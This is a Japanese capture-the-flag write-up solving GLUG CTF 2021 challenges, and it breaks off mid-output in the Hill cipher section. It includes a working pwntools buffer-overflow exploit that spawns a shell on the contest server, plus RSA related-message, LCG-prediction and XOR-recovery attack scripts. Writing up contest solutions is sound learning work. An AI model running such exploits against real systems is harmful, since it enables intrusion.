この大会は2021/4/1 3:30(JST)~2021/4/2 3:30(JST)に開催されました。
今回もチームで参戦。結果は1998点で404チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
GLUG{free_fl4g_fr0m_tuX_g4ng}
Babypwn (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_18 [16]; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); puts(&DAT_00402010); fgets(local_18,0x80,stdin); return 0; } void win(void) { char *local_18; char *local_10; local_10 = (char *)0x0; local_18 = (char *)0x0; execve("/bin/sh",&local_10,&local_18); return; }
BOFでwinをコールできればよい。
$ gdb -q chall Reading symbols from chall...(no debugging symbols found)...done. gdb-peda$ r Starting program: /mnt/hgfs/Shared/chall I feel like I’m always searching for someone, or something. aaaaaaaaaaaaaaaaaaaa [Inferior 1 (process 19580) exited normally] gdb-peda$ r Starting program: /mnt/hgfs/Shared/chall I feel like I’m always searching for someone, or something. aaaaaaaaaaaaaaaa0123456789abcdef Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x1 RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x7fffffffdf80 ('a' <repeats 15 times>...) RDI: 0x7fffffffdf81 ('a' <repeats 15 times>...) RBP: 0x3736353433323130 (b'01234567') RSP: 0x7fffffffdf98 ("89abcdef\n") RIP: 0x40123e (<main+114>: ret) R8 : 0x405281 --> 0x0 R9 : 0x7ffff7fd94c0 (0x00007ffff7fd94c0) R10: 0x405010 --> 0x0 R11: 0x246 R12: 0x4010b0 (<_start>: endbr64) R13: 0x7fffffffe070 --> 0x1 R14: 0x0 R15: 0x0 [------------------------------------code-------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] 0x000000000040123e in main () gdb-peda$ p &win $1 = (<text variable, no debug info> *) 0x401196 <win>
RSPのアドレスにこのアドレスを書き込む。
from pwn import * p = remote('chall.nitdgplug.org', 30041) #p = process('./chall') data = p.recvline().rstrip() print data payload = 'a' * 24 + p64(0x401196) print payload p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to chall.nitdgplug.org on port 30041: Done I feel like I’m always searching for someone, or something. aaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x00\x00\x00 [*] Switching to interactive mode $ ls bin chall dev flag.txt lib lib32 lib64 $ cat flag.txt GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}
GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}
NET_DOT (reverse)
dnSpyでデコンパイルする。
using System; namespace win { // Token: 0x02000002 RID: 2 internal class Program { // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250 private static int sum_all(string password) { int num = 0; foreach (char c in password) { num += (int)c; } return num; } // Token: 0x06000002 RID: 2 RVA: 0x0000208C File Offset: 0x0000028C private static int check(int[] values) { int[] array = new int[] { 2410, 2404, 2430, 2408, 2391, 2381, 2333, 2396, 2369, 2332, 2398, 2422, 2332, 2397, 2416, 2370, 2393, 2304, 2393, 2333, 2416, 2376, 2371, 2305, 2377, 2391 }; int result = 0; for (int i = 0; i < array.Length; i++) { bool flag = array[i] == values[i]; if (!flag) { result = 0; break; } result = 1; } return result; } // Token: 0x06000003 RID: 3 RVA: 0x000020E4 File Offset: 0x000002E4 private static void Main(string[] args) { Console.WriteLine("Hello there mate \nJust enter the flag to check : "); string text = Console.ReadLine(); int[] array = new int[26]; bool flag = text.Length != 26; if (flag) { Console.WriteLine("Input length error"); Console.ReadLine(); } else { for (int i = 0; i < text.Length; i++) { array[i] = (int)text[i]; } int[] array2 = new int[26]; for (int j = 0; j < 26; j++) { array2[j] = (array[j] - (j % 2 * 2 + j % 3) ^ Program.sum_all(text)); } int num = Program.check(array2); bool flag2 = num == 1; if (flag2) { Console.WriteLine("Your flag : " + text); Console.ReadLine(); } else { Console.WriteLine("try harder"); Console.ReadLine(); } } } } }
これを読み解く。
・flagの長さは26 ・array[i]: flagの各文字のASCIIコードの配列 ・array2[j]: (array[j] - (j % 2 * 2 + j % 3) ^ flagの各文字のASCIIコードの和 ・array2[j]の各数値がcheckメソッド内のarrayの各数値と一致していればよい。
フラグは"GLUG"から始めることを前提に逆算する。
array = [2410, 2404, 2430, 2408, 2391, 2381, 2333, 2396, 2369, 2332, 2398, 2422, 2332, 2397, 2416, 2370, 2393, 2304, 2393, 2333, 2416, 2376, 2371, 2305, 2377, 2391] FLAG_HEAD = 'GLUG{' sum_all = ord(FLAG_HEAD[0]) ^ array[0] flag = '' for i in range(26): code = (array[i] ^ sum_all) + (i % 2 * 2 + i % 3) flag += chr(code) print flag
GLUG{d0tn3t_1s_qu1t3_go0d}
Child_rev (reverse)
$ upx -d childrev Ultimate Packer for eXecutables Copyright (C) 1996 - 2017 UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 910136 <- 406024 44.61% linux/amd64 childrev Unpacked 1 file.
UPXアンパックしたものをGhidraでデコンパイルする。
undefined8 main(void) { undefined local_38 [40]; int local_10; char local_c; char local_b; char local_a; char local_9; printf("ENTER THE FLAG : "); __isoc99_scanf(&DAT_0049e182,local_38); local_9 = 'G'; local_a = 'L'; local_b = 'U'; local_c = 'G'; local_10 = XOR(local_38,0x47,0x4c,0x55,0x47); if (local_10 == 0) { puts("USE GHIDRA CUTTER OR IDA , THEN IT WILL BE EASY\n"); } else { printf("YAY U MADE IT \n%c%c%c%c{%s}\n",(ulong)(uint)(int)local_9,(ulong)(uint)(int)local_a, (ulong)(uint)(int)local_b,(ulong)(uint)(int)local_c,local_38); } return 0; } undefined4 XOR(long param_1,char param_2,char param_3,char param_4,char param_5) { ulong uVar1; long lVar2; ulong *puVar3; ulong *puVar4; byte bVar5; ulong local_248 [34]; ulong auStack312 [36]; int local_14; undefined4 local_10; int local_c; bVar5 = 0; uVar1 = gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5); local_c = 0; while (local_c < 0x22) { auStack312[local_c] = (long)*(char *)(param_1 + local_c) ^ uVar1; local_c = local_c + 1; } lVar2 = 0x22; puVar3 = &DAT_0049e060; puVar4 = local_248; while (lVar2 != 0) { lVar2 = lVar2 + -1; *puVar4 = *puVar3; puVar3 = puVar3 + (ulong)bVar5 * -2 + 1; puVar4 = puVar4 + (ulong)bVar5 * -2 + 1; } local_10 = 0; local_14 = 0; while( true ) { if (0x21 < local_14) { return local_10; } if (auStack312[local_14] != local_248[local_14]) break; local_10 = 1; local_14 = local_14 + 1; } return 0; } long gen_key(char param_1,char param_2,char param_3,char param_4) { long lVar1; long local_10; lVar1 = ((long)param_1 + (long)param_2 + (long)param_3 + (long)param_4) * 0x100; rand(); local_10 = 600000; while (local_10 < 800000) { if (local_10 == lVar1) { puts("Maybe You are close or maybe not\n"); } local_10 = local_10 + 0x65; } return lVar1; } DAT_0049e060 XREF[2]: XOR:00401ddc(*), XOR:00401dee(R) 0049e060 78 2f 01 undefined8 0000000000012F78h 00 00 00 00 00 0049e068 30 ?? 30h 0 0049e069 2f ?? 2Fh / 0049e06a 01 ?? 01h 0049e06b 00 ?? 00h 0049e06c 00 ?? 00h 0049e06d 00 ?? 00h 0049e06e 00 ?? 00h 0049e06f 00 ?? 00h 0049e070 72 ?? 72h r 0049e071 2f ?? 2Fh / 0049e072 01 ?? 01h 0049e073 00 ?? 00h 0049e074 00 ?? 00h 0049e075 00 ?? 00h 0049e076 00 ?? 00h 0049e077 00 ?? 00h 0049e078 5f ?? 5Fh _ 0049e079 2f ?? 2Fh / 0049e07a 01 ?? 01h 0049e07b 00 ?? 00h 0049e07c 00 ?? 00h 0049e07d 00 ?? 00h 0049e07e 00 ?? 00h 0049e07f 00 ?? 00h 0049e080 61 ?? 61h a 0049e081 2f ?? 2Fh / 0049e082 01 ?? 01h 0049e083 00 ?? 00h 0049e084 00 ?? 00h 0049e085 00 ?? 00h 0049e086 00 ?? 00h 0049e087 00 ?? 00h 0049e088 6e ?? 6Eh n 0049e089 2f ?? 2Fh / 0049e08a 01 ?? 01h 0049e08b 00 ?? 00h 0049e08c 00 ?? 00h 0049e08d 00 ?? 00h 0049e08e 00 ?? 00h 0049e08f 00 ?? 00h 0049e090 64 ?? 64h d 0049e091 2f ?? 2Fh / 0049e092 01 ?? 01h 0049e093 00 ?? 00h 0049e094 00 ?? 00h 0049e095 00 ?? 00h 0049e096 00 ?? 00h 0049e097 00 ?? 00h 0049e098 5f ?? 5Fh _ 0049e099 2f ?? 2Fh / 0049e09a 01 ?? 01h 0049e09b 00 ?? 00h 0049e09c 00 ?? 00h 0049e09d 00 ?? 00h 0049e09e 00 ?? 00h 0049e09f 00 ?? 00h 0049e0a0 6c ?? 6Ch l 0049e0a1 2f ?? 2Fh / 0049e0a2 01 ?? 01h 0049e0a3 00 ?? 00h 0049e0a4 00 ?? 00h 0049e0a5 00 ?? 00h 0049e0a6 00 ?? 00h 0049e0a7 00 ?? 00h 0049e0a8 30 ?? 30h 0 0049e0a9 2f ?? 2Fh / 0049e0aa 01 ?? 01h 0049e0ab 00 ?? 00h 0049e0ac 00 ?? 00h 0049e0ad 00 ?? 00h 0049e0ae 00 ?? 00h 0049e0af 00 ?? 00h 0049e0b0 67 ?? 67h g 0049e0b1 2f ?? 2Fh / 0049e0b2 01 ?? 01h 0049e0b3 00 ?? 00h 0049e0b4 00 ?? 00h 0049e0b5 00 ?? 00h 0049e0b6 00 ?? 00h 0049e0b7 00 ?? 00h 0049e0b8 31 ?? 31h 1 0049e0b9 2f ?? 2Fh / 0049e0ba 01 ?? 01h 0049e0bb 00 ?? 00h 0049e0bc 00 ?? 00h 0049e0bd 00 ?? 00h 0049e0be 00 ?? 00h 0049e0bf 00 ?? 00h 0049e0c0 63 ?? 63h c 0049e0c1 2f ?? 2Fh / 0049e0c2 01 ?? 01h 0049e0c3 00 ?? 00h 0049e0c4 00 ?? 00h 0049e0c5 00 ?? 00h 0049e0c6 00 ?? 00h 0049e0c7 00 ?? 00h 0049e0c8 40 ?? 40h @ 0049e0c9 2f ?? 2Fh / 0049e0ca 01 ?? 01h 0049e0cb 00 ?? 00h 0049e0cc 00 ?? 00h 0049e0cd 00 ?? 00h 0049e0ce 00 ?? 00h 0049e0cf 00 ?? 00h 0049e0d0 6c ?? 6Ch l 0049e0d1 2f ?? 2Fh / 0049e0d2 01 ?? 01h 0049e0d3 00 ?? 00h 0049e0d4 00 ?? 00h 0049e0d5 00 ?? 00h 0049e0d6 00 ?? 00h 0049e0d7 00 ?? 00h 0049e0d8 5f ?? 5Fh _ 0049e0d9 2f ?? 2Fh / 0049e0da 01 ?? 01h 0049e0db 00 ?? 00h 0049e0dc 00 ?? 00h 0049e0dd 00 ?? 00h 0049e0de 00 ?? 00h 0049e0df 00 ?? 00h 0049e0e0 73 ?? 73h s 0049e0e1 2f ?? 2Fh / 0049e0e2 01 ?? 01h 0049e0e3 00 ?? 00h 0049e0e4 00 ?? 00h 0049e0e5 00 ?? 00h 0049e0e6 00 ?? 00h 0049e0e7 00 ?? 00h 0049e0e8 68 ?? 68h h 0049e0e9 2f ?? 2Fh / 0049e0ea 01 ?? 01h 0049e0eb 00 ?? 00h 0049e0ec 00 ?? 00h 0049e0ed 00 ?? 00h 0049e0ee 00 ?? 00h 0049e0ef 00 ?? 00h 0049e0f0 31 ?? 31h 1 0049e0f1 2f ?? 2Fh / 0049e0f2 01 ?? 01h 0049e0f3 00 ?? 00h 0049e0f4 00 ?? 00h 0049e0f5 00 ?? 00h 0049e0f6 00 ?? 00h 0049e0f7 00 ?? 00h 0049e0f8 66 ?? 66h f 0049e0f9 2f ?? 2Fh / 0049e0fa 01 ?? 01h 0049e0fb 00 ?? 00h 0049e0fc 00 ?? 00h 0049e0fd 00 ?? 00h 0049e0fe 00 ?? 00h 0049e0ff 00 ?? 00h 0049e100 74 ?? 74h t 0049e101 2f ?? 2Fh / 0049e102 01 ?? 01h 0049e103 00 ?? 00h 0049e104 00 ?? 00h 0049e105 00 ?? 00h 0049e106 00 ?? 00h 0049e107 00 ?? 00h 0049e108 5f ?? 5Fh _ 0049e109 2f ?? 2Fh / 0049e10a 01 ?? 01h 0049e10b 00 ?? 00h 0049e10c 00 ?? 00h 0049e10d 00 ?? 00h 0049e10e 00 ?? 00h 0049e10f 00 ?? 00h 0049e110 65 ?? 65h e 0049e111 2f ?? 2Fh / 0049e112 01 ?? 01h 0049e113 00 ?? 00h 0049e114 00 ?? 00h 0049e115 00 ?? 00h 0049e116 00 ?? 00h 0049e117 00 ?? 00h 0049e118 40 ?? 40h @ 0049e119 2f ?? 2Fh / 0049e11a 01 ?? 01h 0049e11b 00 ?? 00h 0049e11c 00 ?? 00h 0049e11d 00 ?? 00h 0049e11e 00 ?? 00h 0049e11f 00 ?? 00h 0049e120 73 ?? 73h s 0049e121 2f ?? 2Fh / 0049e122 01 ?? 01h 0049e123 00 ?? 00h 0049e124 00 ?? 00h 0049e125 00 ?? 00h 0049e126 00 ?? 00h 0049e127 00 ?? 00h 0049e128 79 ?? 79h y 0049e129 2f ?? 2Fh / 0049e12a 01 ?? 01h 0049e12b 00 ?? 00h 0049e12c 00 ?? 00h 0049e12d 00 ?? 00h 0049e12e 00 ?? 00h 0049e12f 00 ?? 00h 0049e130 5f ?? 5Fh _ 0049e131 2f ?? 2Fh / 0049e132 01 ?? 01h 0049e133 00 ?? 00h 0049e134 00 ?? 00h 0049e135 00 ?? 00h 0049e136 00 ?? 00h 0049e137 00 ?? 00h 0049e138 72 ?? 72h r 0049e139 2f ?? 2Fh / 0049e13a 01 ?? 01h 0049e13b 00 ?? 00h 0049e13c 00 ?? 00h 0049e13d 00 ?? 00h 0049e13e 00 ?? 00h 0049e13f 00 ?? 00h 0049e140 31 ?? 31h 1 0049e141 2f ?? 2Fh / 0049e142 01 ?? 01h 0049e143 00 ?? 00h 0049e144 00 ?? 00h 0049e145 00 ?? 00h 0049e146 00 ?? 00h 0049e147 00 ?? 00h 0049e148 67 ?? 67h g 0049e149 2f ?? 2Fh / 0049e14a 01 ?? 01h 0049e14b 00 ?? 00h 0049e14c 00 ?? 00h 0049e14d 00 ?? 00h 0049e14e 00 ?? 00h 0049e14f 00 ?? 00h 0049e150 68 ?? 68h h 0049e151 2f ?? 2Fh / 0049e152 01 ?? 01h 0049e153 00 ?? 00h 0049e154 00 ?? 00h 0049e155 00 ?? 00h 0049e156 00 ?? 00h 0049e157 00 ?? 00h 0049e158 38 ?? 38h 8 0049e159 2f ?? 2Fh / 0049e15a 01 ?? 01h 0049e15b 00 ?? 00h 0049e15c 00 ?? 00h 0049e15d 00 ?? 00h 0049e15e 00 ?? 00h 0049e15f 00 ?? 00h 0049e160 3f ?? 3Fh ? 0049e161 2f ?? 2Fh / 0049e162 01 ?? 01h 0049e163 00 ?? 00h 0049e164 00 ?? 00h 0049e165 00 ?? 00h 0049e166 00 ?? 00h 0049e167 00 ?? 00h 0049e168 3f ?? 3Fh ? 0049e169 2f ?? 2Fh / 0049e16a 01 ?? 01h 0049e16b 00 ?? 00h 0049e16c 00 ?? 00h 0049e16d 00 ?? 00h 0049e16e 00 ?? 00h 0049e16f 00 ?? 00h
XORの処理概要は以下の通り。
・gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5) (0x47 + 0x4c + 0x55 + 0x47) * 0x100 (=77568)を返す。 ・auStack312: 各文字の77568とのXOR→実質0とのXOR ・auStack312の値がDAT_0049e060と同じになればよい。
このことから以下が正しい入力となることがわかる。
x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??
$ ./childrev ENTER THE FLAG : x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8?? YAY U MADE IT GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
Bulky Load (Forensics/Steg)
pcapには4つのパケットしかない。Leftover Capture Dataをすべてエクスポートし、結合する。
$ cat 0.bin 1.bin 2.bin 3.bin > flag.wav
Audacityで開き、スペクトグラムを見ると、フラグが書いてあった。
p17ch_0v3r_7R4FF1C
GLUG{p17ch_0v3r_7R4FF1C}
Profezzor revenge (Crypto)
途中 "\xae\xfa\xba\xbe" が繰り返されている。ここは\x00で埋められていると推測できる。つまりXOR暗号で、鍵は"\xae\xfa\xba\xbe"であると推測できる。
with open('assignment', 'rb') as f: enc = f.read() key = '\xae\xfa\xba\xbe' flag = '' for i in range(len(enc)): flag += chr(ord(enc[i]) ^ ord(key[i%len(key)])) with open('assignment.pdf', 'wb') as f: f.write(flag)
復号すると、復号したPDFにフラグが書いてあった。
GLUG{XOR_IS_EASY_RIGHT}
Lost-N (Crypto)
RSA暗号で1文字ずつ暗号化しているが、nはわからない。
平文の英大文字は英小文字にしていて、425個の暗号があることから、同じ暗号を同じ文字にして、quipqiupを使い、調整しながら復号する。
4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096 はスペース 30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623 はカンマ 10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896 はピリオド 98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845 はアンダースコア 50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209 は { 10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739 は } 97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556 は !
最終的なコードは以下の通り。
import string SPACE = 4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096 COMMA = 30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623 PERIOD = 10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896 UNDERSCORE = 98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845 BRACKET_L = 50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209 BRACKET_R = 10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739 EXCLAMATION = 97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556 with open('encrypted', 'r') as f: ct = eval(f.read().split('\n')[1].split(' = ')[1]) chars = string.lowercase + string.digits index = 0 dic = {} enc_msg ='' for c in ct: if c not in dic: if index == 23: print c if c == SPACE: dic[c] = ' ' elif c == COMMA: dic[c] = ',' elif c == PERIOD: dic[c] = '.' elif c == UNDERSCORE: dic[c] = '_' elif c == BRACKET_L: dic[c] = '{' elif c == BRACKET_R: dic[c] = '}' elif c == EXCLAMATION: dic[c] = '!' else: dic[c] = chars[index] index += 1 enc_msg += dic[c] print enc_msg
最終的には以下のようになる。
abcdeef, b ghibghg jkdj jkh lmnlhm ojmdjhpf qdo jn ojdmh rdis. rnfo gn cnj kdth duncnlnef nc jkh ojdmbcp rvobchoo, dajhm dee. on b ennshg kbu nthm do ldjmbisdiscnqehgphg anm jkh jknvodcgjk jbuh kbo rdeewehoochoo hji,dcg onnc bj qdo d ojdmbcpincjhoj. dajhm d qkbeh jkh rnf oubehg, dcg jkhc abcdeef kbo revh hfho pedcihg dqdf. qkhckh ennshg rdis dj uh, b aebishg uf hfhrmnqo vl jn odf, b qbc pevp{fnvm_eblo_uf_eblo_dlnidefloh}!
これをquipqiupにかける。
finally, i decided that the proper strategy was to stare back. boys do not have amonopoly on the staring business, after all. so i looked him over as patrickacknowledged for the thousandth time his ballxlessness etc,and soon it was a staringcontest. after a while the boy smiled, and then finally his blue eyes glanced away. whenhe looked back at me, i flicked my eyebrows up to say, i win glug{your_lips_my_lips_apocalypse}!
GLUG{your_lips_my_lips_apocalypse}
Intern (Crypto)
$ nc chall.nitdgplug.org 30205 N : 102556442523093261233013957993275265128607428633446702226374291375899783038684037006657999703634851507692029183253217118535592620105194748731931156825319389307453016007444842127815800659786000253333927663321241234055836830492762064054403553028560892057328548638490291019651665559717435948793711045293930976781 e : 3 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 327621869337863370452 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 2 ENC(flag+next_num): 74763700223854263397775497940179010120731682035315642913012460758937430473890691887009954508988719298860094120088791057694183092560597522420730811844989061744942752602945684140800171511761760513570303131790237126510013367745610893257423289730508557892922525009053180209333241626366586035914854281307012964347 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 471305085527813855981 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 294626497123377347713 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT
stateはLCGで決められ、次の数値をnext_numとしてRSA暗号化をしていると推測する。LCGのパラメータを求めれば、次の数が予測できる。
次に2回RSA暗号を行い、暗号を2つ入手する。平文の差がわかるので、Franklin-Reiter Related Message Attackにより復号できる。
#!/usr/bin/sage import socket from Crypto.Util.number import * def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chall.nitdgplug.org', 30205)) data = recvuntil(s, '$ ') print data[:-1], N = int(data.split('\n')[0].split(' ')[-1]) e = int(data.split('\n')[1].split(' ')[-1]) nums = [] for _ in range(8): print '1' s.sendall('1\n') data = recvuntil(s, '$ ') print data[:-1], state = int(data.split('\n')[0].split(': ')[1]) nums.append(state) M = pow(nums[2] - nums[1], 2) - (nums[3] - nums[2]) * (nums[1] - nums[0]) for i in range(4): modulo = pow(nums[i+3] - nums[i+2], 2) - (nums[i+4] - nums[i+3]) * (nums[i+2] - nums[i+1]) M = GCD(M, modulo) A = ((nums[2] - nums[1]) * inverse(nums[1] - nums[0], M)) % M B = (nums[1] - A * nums[0]) % M print '2' s.sendall('2\n') data = recvuntil(s, '$ ') print data[:-1], C1 = int(data.split('\n')[0].split(': ')[1]) next_num1 = (A * nums[-1] + B) % M print '2' s.sendall('2\n') data = recvuntil(s, '\n').rstrip() print data C2 = int(data.split(': ')[1]) next_num2 = (A * next_num1 + B) % M diff = next_num2 - next_num1 m = related_message_attack(C1, C2, diff, e, N) - next_num1 flag = long_to_bytes(m) print flag
実行結果は以下の通り。
N : 117632382751217833417514128128283695202991985525132449488874139053825161212550501538033136870931057716260101769650251415058275460172876199611843006709033610667928495427074220748068807142114630959387833160465341622731211096669494894602349744987861536518629484060528898723614525737856594731667457389721404075543 e : 3 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 322382049975454248992 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 55784804586607546893 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 291857894780069194758 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 232416572653120627798 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 262806820026726563641 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 184122577206227242967 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 398431767066001875863 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 1 state for you: 79850098891311513907 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 2 ENC(flag+next_num): 84318728336681925336968882015542758252751897626943853644715292353119885497204331017190038550274125623635565131313245181412796496427470506836486031455935653258596332423272690383466350637790731629258660116260668369323845738162047846059679527323143996645985988134069753887484206354056685528986692416759703059494 [1].CURR STATE [2].ENCRYPT FLAG [3].EXIT $ 2 ENC(flag+next_num): 12849437425314087330328620168806053566944315345146328907001623131663317044433948474226755793944957114605556064475018584801708945482046975241719803058465422250724477591551201730347235356021198026671745238579460395484252126508872193117483681804777742479812541030505551317473053505879524793666964028805183978510 Do you really think LCG with RSA will make secure system btw flag is GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}
GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}
Hill-Kill (Crypto)
$ nc chall.nitdgplug.org 30211 HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP KEY : aeujkrdiqbhifabbkmykwitqiwxhkkddixjv CIPHERTEXT : bdbmroaawrisdwnfxfaxxecxrdwbmggocwibpygsqlehiurosjbfgefkcoat Enter the decoded Ciphertext:
Hill暗号。KEYのサイズが変わることに注意してプログラムにする。
import string import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def create_key_matrix(s, d): M = [] for i in range(d): row = [] for j in range(d): index = string.lowercase.index(s[i*d+j]) row.append(index) M.append(row) return M def create_msg_matrix(s, d): M = [] for i in range(d): row = [] for j in range(d): index = string.lowercase.index(s[i+j*d]) row.append(index) M.append(row) return M def matrix_to_msg(M, d): msg = '' for i in range(d): for j in range(d): msg += string.lowercase[M[j][i]] return msg def pad(s, d): pad_s = s p = (d ^ 2) - len(ct) % (d ^ 2) if p != (d ^ 2): pad_s = s + 'a' * p return pad_s def hill_decrypt(key, ct): dim = int(len(key) ^ (1 / 2)) K = matrix(Zmod(26), create_key_matrix(key, dim)) pt = '' ct2 = pad(ct, dim) for i in range(0, len(ct2), len(key)): C = matrix(Zmod(26), create_msg_matrix(ct2[i:i+len(key)], dim)) P = K.inverse() * C pt += matrix_to_msg(P, dim) pt = pt[:len(ct)] return pt s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chall.nitdgplug.org', 30211)) data = recvuntil(s, '\n').rstrip() print data for i in range(25): data = recvuntil(s, '\n').rstrip() print data key = data.split(' ')[-1] data = recvuntil(s, '\n').rstrip() print data ct = data.split(' ')[-1] pt = hill_decrypt(key, ct) data = recvuntil(s, ':') print data + pt s.sendall(pt + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP KEY : jhcysnavd CIPHERTEXT : bxvcecieuyavagymsdewubgqhsubhlvmlrlefqsorzitupvogsdhcfeuvzbx Enter the decoded Ciphertext:bslieqcmsxrsiuyrnoswaxaofqqnetovecdpfagwuhxnlqvflvkqzaftefkh Hurrah your ans is correct KEY : yurpdulijxifcxclgogizddrr CIPHERTEXT : fjekldxynhpccvcjjfuqbixswvecwfjvjjomfhddcwgitjfsrpqkdncughfx Enter the decoded Ciphertext:swcolhxfbbhmzuaunpoaqloedqknuurkyvkvoxjsgrbtqnddzxfvbgpdeihx Hurrah your ans is correct KEY : vwxfqdqhesyriabywlwodagll CIPHERTEXT : xlbdurzclaecjlftmageabofgogahgvrpfqpxojhdpkaovybyioaasfebzdx Enter the decoded Ciphertext:edpiumuzwgntpciufavhmphxnvzdwjmvteyuxjohthaihmycdrudgutirfly Hurrah your ans is correct KEY : twbn CIPHERTEXT : uyriomodnlbzfksopqnbnzueprdyaribtddkslykpopenqdhcwirpuvpqgkr Enter the decoded Ciphertext:ysvlmiqblkzixrokdrbizseormltetotdqxlyzkwbbrzdlhawaerhxpogsex Hurrah your ans is correct KEY : tkskeiqsiqjmottjhgutwrraplesmwiujlfh CIPHERTEXT : zmisjzvkfoqinqzebiezgdsofzdvcohjbqqelpmikxodpuvnpxuibywhtzcg Enter the decoded Ciphertext:vgkuextnvtignglsyvegrwjohlaxzufndsdubrckjsctvspnhgenbeksqspb Hurrah your ans is correct KEY : bocpnjfpk CIPHERTEXT : 